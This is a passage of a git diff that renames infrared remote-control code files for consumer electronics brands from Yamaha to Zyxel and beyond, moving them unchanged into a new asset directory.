assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Tuner/209,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD-RC/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_DVD/69,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_JVCDVD/239,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV-12/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV14/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV16/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RAV207/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX-750/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX2/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RCX660/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CD5/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-CX600/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RS-K3/127,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-450/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-CX800/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_RX-V850/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_TX-1000/209,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_V499920/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI47320/209,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VI77760/127,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJ59810/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VJI5420/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK34080/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VK38010/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VM70300/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VP59040/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VQ95010/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VR81350/123,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_VU71330/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_Y-TV-1004/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_YAMAHA/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_av/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_cdx-493/121,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_rax9/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_receiver/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_vu50620/120,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-amp/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Unknown_yamaha-rax7/122,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/Video Projector/209,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamaha/iPod Dock/127,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/DVD Player/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yamakawa/Unknown_dvd285vga/32,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Yuan/Unknown_SmartVDO/128,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zalman/Unknown_HD160XT/115,154.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zehnder/Unknown_VCR/3,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/5,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/TV/7,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_AKB36157102/247,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_C32V37/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_TV/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_VCR/2,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Unknown_ZN5015/26,154.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/VCR/7,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/5,1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zenith/Video Projector/6,0.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zephir/ZDEBT2/0,191.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zinwell/Satellite Receiver/64,223.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zolid/Unknown_ZOL100/0,239.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zoltrix/Unknown_Zoltrix/0,252.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/Zyxel/Unknown_DMA-1000/8,230.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/anysee/Unknown_anysee/8,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/audiosonic/Unknown_TXCD-1240/129,129.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/cenOmax/Unknown_F702/2,255.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir similarity index 100% rename from assets/resources/infrared/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir rename to assets/ir_optional_assets/optional-assets/_CSV-IRDB_/daytron/Unknown_daytron/4,-1.ir diff --git a/assets/resources/infrared/optional-assets/_CSV-IRDB_/dual/Unknown_dual/68,-1.ir 